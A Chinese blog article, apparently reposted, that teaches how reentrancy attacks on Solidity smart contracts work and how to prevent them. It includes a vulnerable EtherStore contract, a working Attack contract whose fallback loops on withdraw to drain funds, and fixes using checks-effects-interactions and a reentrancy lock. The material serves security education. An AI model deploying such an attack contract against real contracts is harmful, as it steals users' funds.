solidity 安全 如何阻止重入攻击

这篇具有很好参考价值的文章主要介绍了solidity 安全 如何阻止重入攻击。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

什么是可重入攻击?

       我们使用合约的过程中,经常会遇到这种情况,智能合约能够调用外部的合约;这些外部合约又可以回调到调用他们的智能合约;在这种情况下,我们说智能合约被重新输入,这种情况被称为可重入性。

        正常使用的时候,是没有任何问题;如果攻击者,将攻击代码,插入到合约执行流程中,使得合约执行正常逻辑之外的攻击代码,就会给用户带来损失。

        当用户使用用户账户调用合约B时,属于正常调用,不会有问题;

solidity 安全 如何阻止重入攻击

        如果攻击者创建一个attack合约,去调用B时,就可以发生类似如下的过程;B又回调到attack

合约,然后attack又再次调用到合约B;

solidity 安全 如何阻止重入攻击

 发生这种情况的关键是以下两点:

        1.通过转账调用合约

        gas().call.vale()():在调用时会发送所有的 gas,当发送失败时会返回布尔值 false,不能有效的防止重入攻击。

        transfer()和send():只会发送 2300 gas 进行调用,当发送失败时会通过 throw 来进行回滚操作,从而防止了重入攻击。

        2.声明一个可攻击的fallback函数

        回退函数 (fallback function):回退函数是每个合约中有且仅有一个没有名字的函数,并且该函数无参数,无返回值。

function() public payable(){}

        回退函数在以下几种情况中被执行:

  •         调用合约时没有匹配到调用的函数;
  •         调用合约时没有传数据;
  •         fallback 函数必被标记为 payable时,智能合约收到以太币;

合约分析

        首先部署一个合约——EtherStore,你可以存取ETH。但是这个合约是容易受到重入攻击。

        这里重点分析withdraw函数,首先判断发送者的balance是否大于0,如果大于0,则将balance发送给sender,注意到这里它用来发送ether的函数是call.value,发送完成后,才在下面更新了sender的balances,这里就是可重入攻击的关键所在了;

        当发送者是一个合约时,因为该函数发送ether后,会调用发送者的fallback函数,如果我们在fallback中再继续调用EtherStore的withdraw,则程序会进入循环,不断给我们发送ether,不会执行balances[msg.sender] = 0;无法更新余额,直到EtherStore的余额为0。

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

攻击合约如下,我们在攻击合约里的fallback函数里,继续调用EtherStore的withdraw;然后调用attack发动攻击;

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

攻击流程

1、部署EtherStore合约

2、账户A调用EtherStore.deposit(),存入3eth;账户B调用EtherStore.deposit(),存入2eth;

3、部署attack合约

4、账户C调用Attack.attck().完成攻击;

预防与修复

使用其他的转账函数:

如果用户的目的只是向目标地址转账,那么一定要使用transfer函数。

checks-effect-interaction

编写合约函数时, 先检查,然后生效,最后才是交互。

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0); //checks
        balances[msg.sender] = 0; //effect
        (bool sent, ) = msg.sender.call{value: bal}(""); //interaction
        require(sent, "Failed to send Ether");

        
    }

使用互斥锁 

 添加一个在代码执行过程中锁定合约的状态变量以防止重入攻击。

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

也可以直接使用OpenZeppelin提供的重入锁。

openzeppelin-contracts/ReentrancyGuard.sol at master · OpenZeppelin/openzeppelin-contracts · GitHub文章来源地址https://www.toymoban.com/news/detail-442344.html

到了这里,关于solidity 安全 如何阻止重入攻击的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Solidity智能合约安全指南:预防已知攻击的关键.

    账户类型 创建成本 交易发起 使用场景 作用 外部账户(私钥的所有者控制) 创建账户是免费的 可以自主发起交易 外部所有的账户之间只能进行ETH和代币交易 1、接受、持有和发送ETH 和 token 2、与已部署的智能合约进行交互 合约账户(由代码控制,部署在网络上的智能合约

    2024年02月12日
    浏览(44)
  • solidity 重入漏洞

    目录 1. 重入漏洞的原理 2.  重入漏洞的场景 2.1 msg.sender.call 转账 2.2 修饰器中调用地址可控的函数 重入漏洞产生的条件: 合约之间可以进行相互间的外部调用  恶意合约 B 调用了合约 A 中的 public funcA 函数,在函数 funcA 的代码中,又调用了别的合约的函数 funcB,并且该合约

    2024年02月04日
    浏览(26)
  • 什么是 API 安全?学习如何防止攻击和保护数据

    随着 API 技术的普及,API 安全成为了一个越来越重要的问题。本文将介绍什么是 API 安全,以及目前 API 面临的安全问题和相应的解决方案。 API 安全是指保护 API 免受恶意攻击和滥用的安全措施。API 安全通常包括以下几个方面: 认证和授权:API 需要对请求进行身份验证和授

    2024年02月16日
    浏览(34)
  • 【 安全】什么是CSRF攻击?如何避免?开发的时候怎么预防?

    CSRF定义: 跨站请求伪造(英语:Cross-site request forgery)是一种对网站的恶意利用,也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。 CSRF跨站点请求伪造(Cross—Site Request Forgery) 跟

    2024年03月14日
    浏览(78)
  • 【网络安全】零日漏洞(0day)是什么?如何防范零日攻击?

    零日攻击是利用零日漏洞(0day)对系统或软件应用发动的网络攻击,近年来,零日攻击威胁在日益增长且难以防范,零日攻击已成为企业网络信息安全面临的最严峻的威胁之一。 零日攻击是指攻击者发现并利用服务提供商不知道的弱点。这个漏洞可以存在与软件、操作系统

    2024年02月05日
    浏览(39)
  • 一个小笔记——spankchain重入攻击

    SpankChain支付通道合约(受害合约): https://etherscan.io/address/0xf91546835f756da0c10cfa0cda95b15577b84aa7#code 攻击者地址: https://etherscan.io/address/0xcf267ea3f1ebae3c29fea0a3253f94f3122c2199 攻击者恶意合约地址: https://etherscan.io/address/0xc5918a927c4fb83fe99e30d6f66707f4b396900e 攻击者恶意合约发起的攻击交易(

    2024年02月11日
    浏览(34)
  • 一个以太坊合约的漏洞分析-重入攻击

    请找出下列合约漏洞,并说明如何盗取ContractB 中的数字资产,并修复合约。中说明:ContractB 的contract_a接口为ContractA 地址 这段 Solidity 代码中存在一个关键的漏洞,允许攻击者在 ContractB 中盗取数字资产。攻击者可以利用 withdrawFunds 函数中的漏洞来实现攻击,让我们一步步分

    2024年02月11日
    浏览(34)
  • 以太坊硬分叉后的可重入漏洞攻击

    以太坊君士坦丁堡升级将降低部分 SSTORE 指令的 gas 费用。然而,这次升级也有一个副作用,在 Solidity 语言编写的智能合约中调用 address.transfer()函数或 address.send()函数时存在可重入漏洞。在目前版本的以太坊网络中,这些函数被认为是可重入安全的,但分叉后它们不再是了。

    2024年02月11日
    浏览(27)
  • 应用程序已被Java 安全阻止-- 如何全局设置Java 控制面板参数

    最近遇到一个客户问题,客户方存在一个使用场景为使用IE访问一个页面 之后通过点击页面的按钮调起一个applet程序,结果遇到了一个弹窗告警:应用程序已被Java安全阻止。 对于这个问题 解决方案有两个: 1.将访问的页面站点加入到例外站点中。 2.修改Java控制面板中参数,

    2024年02月04日
    浏览(49)
  • 记录--@click和@click.native有什么区别,如何阻止第三方组件内部的冒泡

    vue @click.native 原生点击事件: 1,给vue组件绑定事件时候,必须加上native ,不然不会生效(监听根元素的原生事件,使用 .native 修饰符) 2,等同于在子组件中: 子组件内部处理click事件然后向外发送click事件: $emit(\\\"click\\\".fn) 不多说看代码: 直接在封装组件上使用@click,看看

    2024年02月10日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包